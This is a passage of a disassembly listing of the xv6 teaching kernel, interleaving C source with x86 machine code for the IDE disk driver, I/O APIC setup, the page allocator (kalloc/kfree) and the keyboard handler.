10 80 push $0x8010a580 8010208e: e8 7d 23 00 00 call 80104410 <acquire> if((b = idequeue) == 0){ 80102093: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 80102099: 83 c4 10 add $0x10,%esp 8010209c: 85 db test %ebx,%ebx 8010209e: 74 67 je 80102107 <ideintr+0x87> release(&idelock); return; } idequeue = b->qnext; 801020a0: 8b 43 58 mov 0x58(%ebx),%eax 801020a3: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020a8: 8b 3b mov (%ebx),%edi 801020aa: f7 c7 04 00 00 00 test $0x4,%edi 801020b0: 75 31 jne 801020e3 <ideintr+0x63> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020b2: ba f7 01 00 00 mov $0x1f7,%edx 801020b7: 89 f6 mov %esi,%esi 801020b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801020c0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020c1: 89 c6 mov %eax,%esi 801020c3: 83 e6 c0 and $0xffffffc0,%esi 801020c6: 89 f1 mov %esi,%ecx 801020c8: 80 f9 40 cmp $0x40,%cl 801020cb: 75 f3 jne 801020c0 <ideintr+0x40> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020cd: a8 21 test $0x21,%al 801020cf: 75 12 jne 801020e3 <ideintr+0x63> insl(0x1f0, b->data, BSIZE/4); 801020d1: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 801020d4: b9 80 00 00 00 mov $0x80,%ecx 801020d9: ba f0 01 00 00 mov $0x1f0,%edx 801020de: fc cld 801020df: f3 6d rep insl (%dx),%es:(%edi) 801020e1: 8b 3b mov (%ebx),%edi // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020e3: 83 e7 fb and $0xfffffffb,%edi wakeup(b); 801020e6: 83 ec 0c sub $0xc,%esp b->flags &= ~B_DIRTY; 801020e9: 89 f9 mov %edi,%ecx 801020eb: 83 c9 02 or $0x2,%ecx 801020ee: 89 0b mov %ecx,(%ebx) wakeup(b); 801020f0: 53 push %ebx 801020f1: e8 3a 1e 00 00 call 80103f30 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020f6: a1 64 a5 10 80 mov 0x8010a564,%eax 801020fb: 83 c4 10 add $0x10,%esp 801020fe: 85 c0 test %eax,%eax 80102100: 74 05 je 80102107 <ideintr+0x87> idestart(idequeue); 80102102: e8 19 fe ff ff call 80101f20 <idestart> release(&idelock); 80102107: 83 ec 0c sub $0xc,%esp 8010210a: 68 80 a5 10 80 push $0x8010a580 8010210f: e8 bc 23 00 00 call 801044d0 <release> release(&idelock); } 80102114: 8d 65 f4 lea -0xc(%ebp),%esp 80102117: 5b pop %ebx 80102118: 5e pop %esi 80102119: 5f pop %edi 8010211a: 5d pop %ebp 8010211b: c3 ret 8010211c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102120 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102120: 55 push %ebp 80102121: 89 e5 mov %esp,%ebp 80102123: 53 push %ebx 80102124: 83 ec 10 sub $0x10,%esp 80102127: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010212a: 8d 43 0c lea 0xc(%ebx),%eax 8010212d: 50 push %eax 8010212e: e8 4d 21 00 00 call 80104280 <holdingsleep> 80102133: 83 c4 10 add $0x10,%esp 80102136: 85 c0 test %eax,%eax 80102138: 0f 84 c6 00 00 00 je 80102204 <iderw+0xe4> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010213e: 8b 03 mov (%ebx),%eax 80102140: 83 e0 06 and $0x6,%eax 80102143: 83 f8 02 cmp $0x2,%eax 80102146: 0f 84 ab 00 00 00 je 801021f7 <iderw+0xd7> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010214c: 8b 53 04 mov 0x4(%ebx),%edx 8010214f: 85 d2 test %edx,%edx 80102151: 74 0d je 80102160 <iderw+0x40> 80102153: a1 60 a5 10 80 mov 0x8010a560,%eax 80102158: 85 c0 test %eax,%eax 8010215a: 0f 84 b1 00 00 00 je 80102211 <iderw+0xf1> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 80102160: 83 ec 0c sub $0xc,%esp 80102163: 68 80 a5 10 80 push $0x8010a580 80102168: e8 a3 22 00 00 call 80104410 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010216d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx 80102173: 83 c4 10 add $0x10,%esp b->qnext = 0; 80102176: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010217d: 85 d2 test %edx,%edx 8010217f: 75 09 jne 8010218a <iderw+0x6a> 80102181: eb 6d jmp 801021f0 <iderw+0xd0> 80102183: 90 nop 80102184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102188: 89 c2 mov %eax,%edx 8010218a: 8b 42 58 mov 0x58(%edx),%eax 8010218d: 85 c0 test %eax,%eax 8010218f: 75 f7 jne 80102188 <iderw+0x68> 80102191: 83 c2 58 add $0x58,%edx ; *pp = b; 80102194: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 80102196: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 8010219c: 74 42 je 801021e0 <iderw+0xc0> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010219e: 8b 03 mov (%ebx),%eax 801021a0: 83 e0 06 and $0x6,%eax 801021a3: 83 f8 02 cmp $0x2,%eax 801021a6: 74 23 je 801021cb <iderw+0xab> 801021a8: 90 nop 801021a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(b, &idelock); 801021b0: 83 ec 08 sub $0x8,%esp 801021b3: 68 80 a5 10 80 push $0x8010a580 801021b8: 53 push %ebx 801021b9: e8 c2 1b 00 00 call 80103d80 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021be: 8b 03 mov (%ebx),%eax 801021c0: 83 c4 10 add $0x10,%esp 801021c3: 83 e0 06 and $0x6,%eax 801021c6: 83 f8 02 cmp $0x2,%eax 801021c9: 75 e5 jne 801021b0 <iderw+0x90> } release(&idelock); 801021cb: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021d2: 8b 5d fc mov -0x4(%ebp),%ebx 801021d5: c9 leave release(&idelock); 801021d6: e9 f5 22 00 00 jmp 801044d0 <release> 801021db: 90 nop 801021dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi idestart(b); 801021e0: 89 d8 mov %ebx,%eax 801021e2: e8 39 fd ff ff call 80101f20 <idestart> 801021e7: eb b5 jmp 8010219e <iderw+0x7e> 801021e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021f0: ba 64 a5 10 80 mov $0x8010a564,%edx 801021f5: eb 9d jmp 80102194 <iderw+0x74> panic("iderw: nothing to do"); 801021f7: 83 ec 0c sub $0xc,%esp 801021fa: 68 00 72 10 80 push $0x80107200 801021ff: e8 8c e1 ff ff call 80100390 <panic> panic("iderw: buf not locked"); 80102204: 83 ec 0c sub $0xc,%esp 80102207: 68 ea 71 10 80 push $0x801071ea 8010220c: e8 7f e1 ff ff call 80100390 <panic> panic("iderw: ide disk 1 not present"); 80102211: 83 ec 0c sub $0xc,%esp 80102214: 68 15 72 10 80 push $0x80107215 80102219: e8 72 e1 ff ff call 80100390 <panic> 8010221e: 66 90 xchg %ax,%ax 80102220 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102220: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102221: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 80102228: 00 c0 fe { 8010222b: 89 e5 mov %esp,%ebp 8010222d: 56 push %esi 8010222e: 53 push %ebx ioapic->reg = reg; 8010222f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102236: 00 00 00 return ioapic->data; 80102239: a1 34 26 11 80 mov 0x80112634,%eax 8010223e: 8b 58 10 mov 0x10(%eax),%ebx ioapic->reg = reg; 80102241: c7 00 00 00 00 00 movl $0x0,(%eax) return ioapic->data; 80102247: 8b 0d 34 26 11 80 mov 0x80112634,%ecx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 8010224d: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102254: c1 eb 10 shr $0x10,%ebx return ioapic->data; 80102257: 8b 41 10 mov 0x10(%ecx),%eax maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 8010225a: 0f b6 db movzbl %bl,%ebx id = ioapicread(REG_ID) >> 24; 8010225d: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102260: 39 c2 cmp %eax,%edx 80102262: 74 16 je 8010227a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102264: 83 ec 0c sub $0xc,%esp 80102267: 68 34 72 10 80 push $0x80107234 8010226c: e8 ef e3 ff ff call 80100660 <cprintf> 80102271: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 80102277: 83 c4 10 add $0x10,%esp 8010227a: 83 c3 21 add $0x21,%ebx { 8010227d: ba 10 00 00 00 mov $0x10,%edx 80102282: b8 20 00 00 00 mov $0x20,%eax 80102287: 89 f6 mov %esi,%esi 80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ioapic->reg = reg; 80102290: 89 11 mov %edx,(%ecx) ioapic->data = data; 80102292: 8b 0d 34 26 11 80 mov 0x80112634,%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102298: 89 c6 mov %eax,%esi 8010229a: 81 ce 00 00 01 00 or $0x10000,%esi 801022a0: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022a3: 89 71 10 mov %esi,0x10(%ecx) 801022a6: 8d 72 01 lea 0x1(%edx),%esi 801022a9: 83 c2 02 add $0x2,%edx for(i = 0; i <= maxintr; i++){ 801022ac: 39 d8 cmp %ebx,%eax ioapic->reg = reg; 801022ae: 89 31 mov %esi,(%ecx) ioapic->data = data; 801022b0: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 801022b6: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 801022bd: 75 d1 jne 80102290 <ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i+1, 0); } } 801022bf: 8d 65 f8 lea -0x8(%ebp),%esp 801022c2: 5b pop %ebx 801022c3: 5e pop %esi 801022c4: 5d pop %ebp 801022c5: c3 ret 801022c6: 8d 76 00 lea 0x0(%esi),%esi 801022c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801022d0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022d0: 55 push %ebp ioapic->reg = reg; 801022d1: 8b 0d 34 26 11 80 mov 0x80112634,%ecx { 801022d7: 89 e5 mov %esp,%ebp 801022d9: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022dc: 8d 50 20 lea 0x20(%eax),%edx 801022df: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax ioapic->reg = reg; 801022e3: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022e5: 8b 0d 34 26 11 80 mov 0x80112634,%ecx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022eb: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022ee: 89 51 10 mov %edx,0x10(%ecx) ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022f1: 8b 55 0c mov 0xc(%ebp),%edx ioapic->reg = reg; 801022f4: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022f6: a1 34 26 11 80 mov 0x80112634,%eax ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022fb: c1 e2 18 shl $0x18,%edx ioapic->data = data; 801022fe: 89 50 10 mov %edx,0x10(%eax) } 80102301: 5d pop %ebp 80102302: c3 ret 80102303: 66 90 xchg %ax,%ax 80102305: 66 90 xchg %ax,%ax 80102307: 66 90 xchg %ax,%ax 80102309: 66 90 xchg %ax,%ax 8010230b: 66 90 xchg %ax,%ax 8010230d: 66 90 xchg %ax,%ax 8010230f: 90 nop 80102310 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102310: 55 push %ebp 80102311: 89 e5 mov %esp,%ebp 80102313: 53 push %ebx 80102314: 83 ec 04 sub $0x4,%esp 80102317: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010231a: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102320: 75 70 jne 80102392 <kfree+0x82> 80102322: 81 fb a8 54 11 80 cmp $0x801154a8,%ebx 80102328: 72 68 jb 80102392 <kfree+0x82> 8010232a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102330: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102335: 77 5b ja 80102392 <kfree+0x82> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102337: 83 ec 04 sub $0x4,%esp 8010233a: 68 00 10 00 00 push $0x1000 8010233f: 6a 01 push $0x1 80102341: 53 push %ebx 80102342: e8 d9 21 00 00 call 80104520 <memset> if(kmem.use_lock) 80102347: 8b 15 74 26 11 80 mov 0x80112674,%edx 8010234d: 83 c4 10 add $0x10,%esp 80102350: 85 d2 test %edx,%edx 80102352: 75 2c jne 80102380 <kfree+0x70> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102354: a1 78 26 11 80 mov 0x80112678,%eax 80102359: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 8010235b: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102360: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 80102366: 85 c0 test %eax,%eax 80102368: 75 06 jne 80102370 <kfree+0x60> release(&kmem.lock); } 8010236a: 8b 5d fc mov -0x4(%ebp),%ebx 8010236d: c9 leave 8010236e: c3 ret 8010236f: 90 nop release(&kmem.lock); 80102370: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 80102377: 8b 5d fc mov -0x4(%ebp),%ebx 8010237a: c9 leave release(&kmem.lock); 8010237b: e9 50 21 00 00 jmp 801044d0 <release> acquire(&kmem.lock); 80102380: 83 ec 0c sub $0xc,%esp 80102383: 68 40 26 11 80 push $0x80112640 80102388: e8 83 20 00 00 call 80104410 <acquire> 8010238d: 83 c4 10 add $0x10,%esp 80102390: eb c2 jmp 80102354 <kfree+0x44> panic("kfree"); 80102392: 83 ec 0c sub $0xc,%esp 80102395: 68 66 72 10 80 push $0x80107266 8010239a: e8 f1 df ff ff call 80100390 <panic> 8010239f: 90 nop 801023a0 <freerange>: { 801023a0: 55 push %ebp 801023a1: 89 e5 mov %esp,%ebp 801023a3: 56 push %esi 801023a4: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 801023a5: 8b 45 08 mov 0x8(%ebp),%eax { 801023a8: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 801023ab: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801023b1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023b7: 81 c3 00 10 00 00 add $0x1000,%ebx 801023bd: 39 de cmp %ebx,%esi 801023bf: 72 23 jb 801023e4 <freerange+0x44> 801023c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 801023c8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 801023ce: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023d1: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801023d7: 50 push %eax 801023d8: e8 33 ff ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023dd: 83 c4 10 add $0x10,%esp 801023e0: 39 f3 cmp %esi,%ebx 801023e2: 76 e4 jbe 801023c8 <freerange+0x28> } 801023e4: 8d 65 f8 lea -0x8(%ebp),%esp 801023e7: 5b pop %ebx 801023e8: 5e pop %esi 801023e9: 5d pop %ebp 801023ea: c3 ret 801023eb: 90 nop 801023ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023f0 <kinit1>: { 801023f0: 55 push %ebp 801023f1: 89 e5 mov %esp,%ebp 801023f3: 56 push %esi 801023f4: 53 push %ebx 801023f5: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023f8: 83 ec 08 sub $0x8,%esp 801023fb: 68 6c 72 10 80 push $0x8010726c 80102400: 68 40 26 11 80 push $0x80112640 80102405: e8 c6 1e 00 00 call 801042d0 <initlock> p = (char*)PGROUNDUP((uint)vstart); 8010240a: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010240d: 83 c4 10 add $0x10,%esp kmem.use_lock = 0; 80102410: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102417: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010241a: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102420: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102426: 81 c3 00 10 00 00 add $0x1000,%ebx 8010242c: 39 de cmp %ebx,%esi 8010242e: 72 1c jb 8010244c <kinit1+0x5c> kfree(p); 80102430: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 80102436: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102439: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 8010243f: 50 push %eax 80102440: e8 cb fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102445: 83 c4 10 add $0x10,%esp 80102448: 39 de cmp %ebx,%esi 8010244a: 73 e4 jae 80102430 <kinit1+0x40> } 8010244c: 8d 65 f8 lea -0x8(%ebp),%esp 8010244f: 5b pop %ebx 80102450: 5e pop %esi 80102451: 5d pop %ebp 80102452: c3 ret 80102453: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102460 <kinit2>: { 80102460: 55 push %ebp 80102461: 89 e5 mov %esp,%ebp 80102463: 56 push %esi 80102464: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 80102465: 8b 45 08 mov 0x8(%ebp),%eax { 80102468: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010246b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102471: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102477: 81 c3 00 10 00 00 add $0x1000,%ebx 8010247d: 39 de cmp %ebx,%esi 8010247f: 72 23 jb 801024a4 <kinit2+0x44> 80102481: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102488: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010248e: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102491: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102497: 50 push %eax 80102498: e8 73 fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010249d: 83 c4 10 add $0x10,%esp 801024a0: 39 de cmp %ebx,%esi 801024a2: 73 e4 jae 80102488 <kinit2+0x28> kmem.use_lock = 1; 801024a4: c7 05 74 26 11 80 01 movl $0x1,0x80112674 801024ab: 00 00 00 } 801024ae: 8d 65 f8 lea -0x8(%ebp),%esp 801024b1: 5b pop %ebx 801024b2: 5e pop %esi 801024b3: 5d pop %ebp 801024b4: c3 ret 801024b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801024b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801024c0 <kalloc>: char* kalloc(void) { struct run *r; if(kmem.use_lock) 801024c0: a1 74 26 11 80 mov 0x80112674,%eax 801024c5: 85 c0 test %eax,%eax 801024c7: 75 1f jne 801024e8 <kalloc+0x28> acquire(&kmem.lock); r = kmem.freelist; 801024c9: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024ce: 85 c0 test %eax,%eax 801024d0: 74 0e je 801024e0 <kalloc+0x20> kmem.freelist = r->next; 801024d2: 8b 10 mov (%eax),%edx 801024d4: 89 15 78 26 11 80 mov %edx,0x80112678 801024da: c3 ret 801024db: 90 nop 801024dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(kmem.use_lock) release(&kmem.lock); return (char*)r; } 801024e0: f3 c3 repz ret 801024e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { 801024e8: 55 push %ebp 801024e9: 89 e5 mov %esp,%ebp 801024eb: 83 ec 24 sub $0x24,%esp acquire(&kmem.lock); 801024ee: 68 40 26 11 80 push $0x80112640 801024f3: e8 18 1f 00 00 call 80104410 <acquire> r = kmem.freelist; 801024f8: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024fd: 83 c4 10 add $0x10,%esp 80102500: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102506: 85 c0 test %eax,%eax 80102508: 74 08 je 80102512 <kalloc+0x52> kmem.freelist = r->next; 8010250a: 8b 08 mov (%eax),%ecx 8010250c: 89 0d 78 26 11 80 mov %ecx,0x80112678 if(kmem.use_lock) 80102512: 85 d2 test %edx,%edx 80102514: 74 16 je 8010252c <kalloc+0x6c> release(&kmem.lock); 80102516: 83 ec 0c sub $0xc,%esp 80102519: 89 45 f4 mov %eax,-0xc(%ebp) 8010251c: 68 40 26 11 80 push $0x80112640 80102521: e8 aa 1f 00 00 call 801044d0 <release> return (char*)r; 80102526: 8b 45 f4 mov -0xc(%ebp),%eax release(&kmem.lock); 80102529: 83 c4 10 add $0x10,%esp } 8010252c: c9 leave 8010252d: c3 ret 8010252e: 66 90 xchg %ax,%ax 80102530 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102530: ba 64 00 00 00 mov $0x64,%edx 80102535: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102536: a8 01 test $0x1,%al 80102538: 0f 84 c2 00 00 00 je 80102600 <kbdgetc+0xd0> 8010253e: ba 60 00 00 00 mov $0x60,%edx 80102543: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102544: 0f b6 d0 movzbl %al,%edx 80102547: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx if(data == 0xE0){ 8010254d: 81 fa e0 00 00 00 cmp $0xe0,%edx 80102553: 0f 84 7f 00 00 00 je 801025d8 <kbdgetc+0xa8> { 80102559: 55 push %ebp 8010255a: 89 e5 mov %esp,%ebp 8010255c: 53 push %ebx 8010255d: 89 cb mov %ecx,%ebx 8010255f: 83 e3 40 and $0x40,%ebx shift |= E0ESC; return 0; } else if(data & 0x80){ 80102562: 84 c0 test %al,%al 80102564: 78 4a js 801025b0 <kbdgetc+0x80> // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 80102566: 85 db test %ebx,%ebx 80102568: 74 09 je 80102573 <kbdgetc+0x43> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010256a: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 8010256d: 83 e1 bf and $0xffffffbf,%ecx data |= 0x80; 80102570: 0f b6 d0 movzbl %al,%edx } shift |= shiftcode[data]; 80102573: 0f b6 82 a0 73 10 80 movzbl -0x7fef8c60(%edx),%eax 8010257a: 09 c1 or %eax,%ecx shift ^= togglecode[data]; 8010257c: 0f b6 82 a0 72 10 80 movzbl -0x7fef8d60(%edx),%eax 80102583: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102585: 89 c8 mov %ecx,%eax shift ^= togglecode[data]; 80102587: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; 8010258d: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 80102590: 83 e1 08 and $0x8,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102593: 8b 04 85 80 72 10 80 mov -0x7fef8d80(,%eax,4),%eax 8010259a: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 8010259e: 74 31 je 801025d1 <kbdgetc+0xa1> if('a' <= c && c <= 'z') 801025a0: 8d 50 9f lea -0x61(%eax),%edx 801025a3: 83 fa 19 cmp $0x19,%edx 801025a6: 77 40 ja 801025e8 <kbdgetc+0xb8> c += 'A' - 'a'; 801025a8: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025ab: 5b pop %ebx 801025ac: 5d pop %ebp 801025ad: c3 ret 801025ae: 66 90 xchg %ax,%ax data = (shift & E0ESC ? data : data & 0x7F); 801025b0: 83 e0 7f and $0x7f,%eax 801025b3: 85 db test %ebx,%ebx 801025b5: 0f 44 d0 cmove %eax,%edx shift &= ~(shiftcode[data] | E0ESC); 801025b8: 0f b6 82 a0 73 10 80 movzbl -0x7fef8c60(%edx),%eax 801025bf: 83 c8 40 or $0x40,%eax 801025c2: 0f b6 c0 movzbl %al,%eax 801025c5: f7 d0 not %eax 801025c7: 21 c1 and %eax,%ecx return 0; 801025c9: 31 c0 xor %eax,%eax shift &= ~(shiftcode[data] | E0ESC); 801025cb: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 } 801025d1: 5b pop %ebx 801025d2: 5d pop %ebp 801025d3: c3 ret 801025d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 801025d8: 83 c9 40 or $0x40,%ecx return 0; 801025db: 31 c0 xor %eax,%eax shift |= E0ESC; 801025dd: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 return 0; 801025e3: c3 ret 801025e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if('A' <= c && c <= 'Z') 801025e8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025eb: 8d 50 20 lea 0x20(%eax),%edx } 801025ee: 5b pop %ebx c += 'a' - 'A'; 801025ef: 83 f9 1a cmp $0x1a,%ecx 801025f2: 0f 42 c2 cmovb %edx,%eax } 801025f5: 5d pop %ebp 801025f6: c3 ret 801025f7: 89 f6 mov %esi,%esi 801025f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80102600: b8 ff ff ff ff mov $0xffffffff,%eax } 80102605: c3 ret 80102606: 8d 76 00 lea 0x0(%esi),%esi 80102609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102610 <kbdintr>: void kbdintr(void) { 80102610: 55 push %ebp 80102611: 89 e5 mov %esp,%ebp 80102613: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 80102616: 68 30 25 10 80 push $0x80102530 8010261b: e8 f0 e1 ff ff call 80100810 <consoleintr> } 80102620: 83 c4 10 add $0x10,%esp 80102623: c9 leave 80102624: c3 ret 80102625: 66 90 xchg %ax,%ax 80102627: 66 90 xchg %ax,%ax 80102629: 66 90 xchg %ax,%ax 8010262b: 66 90 xchg %ax,%ax 8010262d: 66 90 xchg %ax,%ax 8010262f: 90 nop 80102630 <lapicinit>: } void lapicinit(void) { if(!lapic) 80102630: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102635: 55 push %ebp 80102636: 89 e5 mov %esp,%ebp if(!lapic) 80102638: 85 c0 test %eax,%eax 8010263a: 0f 84 c8 00 00 00 je 80102708 <lapicinit+0xd8> lapic[index] = value; 80102640: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102647: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010264a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010264d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102654: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102657: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010265a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102661: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102664: 8b 50 20 mov 